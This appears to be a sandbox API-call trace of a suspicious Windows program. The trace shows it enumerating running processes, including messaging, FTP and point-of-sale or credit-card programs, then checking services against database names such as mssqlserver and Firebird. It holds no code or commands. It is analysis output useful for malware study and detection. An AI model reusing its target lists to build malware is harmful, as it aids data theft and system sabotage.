	[0062.467] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0062.468] lstrlenW (lpString="skype.exe") returned 9
	[0062.468] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0062.469] lstrlenW (lpString="smartftp.exe") returned 12
	[0062.469] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0062.470] lstrlenW (lpString="thunderbird.exe") returned 15
	[0062.470] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0062.471] lstrlenW (lpString="totalcmd.exe") returned 12
	[0062.471] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0062.472] lstrlenW (lpString="trillian.exe") returned 12
	[0062.472] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0062.472] lstrlenW (lpString="webdrive.exe") returned 12
	[0062.472] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0062.473] lstrlenW (lpString="whatsapp.exe") returned 12
	[0062.473] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0062.474] lstrlenW (lpString="winscp.exe") returned 10
	[0062.474] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0062.475] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0062.475] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0062.475] lstrlenW (lpString="active-charge.exe") returned 17
	[0062.475] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0062.476] lstrlenW (lpString="accupos.exe") returned 11
	[0062.476] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0062.477] lstrlenW (lpString="afr38.exe") returned 9
	[0062.477] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0062.477] lstrlenW (lpString="aldelo.exe") returned 10
	[0062.478] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0062.478] lstrlenW (lpString="ccv_server.exe") returned 14
	[0062.478] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0062.479] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0062.479] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0062.480] lstrlenW (lpString="creditservice.exe") returned 17
	[0062.480] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0062.480] lstrlenW (lpString="edcsvr.exe") returned 10
	[0062.480] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0062.481] lstrlenW (lpString="fpos.exe") returned 8
	[0062.481] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0062.482] lstrlenW (lpString="isspos.exe") returned 10
	[0062.482] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0062.482] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0062.482] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0062.483] lstrlenW (lpString="omnipos.exe") returned 11
	[0062.483] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0062.484] lstrlenW (lpString="spcwin.exe") returned 10
	[0062.484] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0062.484] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0062.484] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0062.485] lstrlenW (lpString="utg2.exe") returned 8
	[0062.485] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit.exe")) returned 1
	[0062.486] lstrlenW (lpString="explicit.exe") returned 12
	[0062.486] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0062.487] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0062.487] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0062.487] lstrlenW (lpString="taskhostw.exe") returned 13
	[0062.487] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0062.488] lstrlenW (lpString="UsoClient.exe") returned 13
	[0062.488] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0062.489] lstrlenW (lpString="taskhostw.exe") returned 13
	[0062.489] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0062.489] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0062.489] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0062.490] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0062.490] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1194, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0062.491] lstrlenW (lpString="conhost.exe") returned 11
	[0062.491] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1178, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0062.491] lstrlenW (lpString="conhost.exe") returned 11
	[0062.491] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.492] lstrlenW (lpString="svchost.exe") returned 11
	[0062.492] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0062.492] lstrlenW (lpString="fvppjh.exe") returned 10
	[0062.492] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0062.493] lstrlenW (lpString="svchost.exe") returned 11
	[0062.493] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x13a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0062.493] lstrlenW (lpString="cmd.exe") returned 7
	[0062.493] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0062.494] lstrlenW (lpString="conhost.exe") returned 11
	[0062.494] Process32NextW (in: hSnapshot=0x2f8, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1158, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0062.495] CloseHandle (hObject=0x2f8) returned 1
	[0062.495] Sleep (dwMilliseconds=0x1f4) 
	[0064.514] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x75ec78
	[0064.514] EnumServicesStatusExW (in: hSCManager=0x75ec78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 0
	[0064.515] GetLastError () returned 0xea
	[0064.515] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x1ce8) returned 0x3e91688
	[0064.515] EnumServicesStatusExW (in: hSCManager=0x75ec78, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3e91688, cbBufSize=0x1ce8, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3e91688, pcbBytesNeeded=0x255ff3c, lpServicesReturned=0x255ff54, lpResumeHandle=0x0) returned 1
	[0064.515] CloseServiceHandle (hSCObject=0x75ec78) returned 1
	[0064.516] lstrlenW (lpString="Appinfo") returned 7
	[0064.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0064.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0064.516] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0064.516] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0064.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0064.516] lstrlenW (lpString="AppXSvc") returned 7
	[0064.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0064.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0064.516] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0064.516] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0064.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0064.516] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0064.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0064.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0064.516] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0064.516] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0064.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0064.516] lstrlenW (lpString="Audiosrv") returned 8
	[0064.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0064.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0064.516] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0064.516] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0064.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0064.516] lstrlenW (lpString="BFE") returned 3
	[0064.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0064.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0064.516] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0064.516] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0064.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0064.517] lstrlenW (lpString="BITS") returned 4
	[0064.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0064.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0064.517] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0064.517] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0064.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0064.517] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0064.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0064.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0064.517] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0064.517] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0064.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0064.517] lstrlenW (lpString="CDPSvc") returned 6
	[0064.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0064.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0064.517] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0064.517] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0064.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0064.517] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0064.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0064.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0064.517] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0064.517] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0064.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0064.517] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0064.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0064.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0064.517] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0064.517] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0064.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0064.517] lstrlenW (lpString="CryptSvc") returned 8
	[0064.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0064.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0064.517] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0064.517] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0064.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0064.517] lstrlenW (lpString="DcomLaunch") returned 10
	[0064.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0064.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0064.518] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0064.518] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0064.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0064.518] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0064.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0064.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0064.518] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0064.518] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0064.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0064.518] lstrlenW (lpString="Dhcp") returned 4
	[0064.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0064.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0064.518] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0064.518] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0064.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0064.518] lstrlenW (lpString="Dnscache") returned 8
	[0064.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0064.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0064.518] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0064.518] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0064.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0064.518] lstrlenW (lpString="DoSvc") returned 5
	[0064.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0064.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0064.518] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0064.518] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0064.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0064.518] lstrlenW (lpString="DPS") returned 3
	[0064.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0064.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0064.518] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0064.518] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0064.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0064.519] lstrlenW (lpString="DusmSvc") returned 7
	[0064.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0064.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0064.519] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0064.519] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0064.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0064.519] lstrlenW (lpString="EventLog") returned 8
	[0064.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0064.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0064.519] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0064.519] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0064.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0064.519] lstrlenW (lpString="EventSystem") returned 11
	[0064.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0064.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0064.519] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0064.519] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0064.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0064.519] lstrlenW (lpString="FontCache") returned 9
	[0064.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0064.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0064.519] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0064.519] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0064.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0064.519] lstrlenW (lpString="gpsvc") returned 5
	[0064.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0064.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0064.519] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
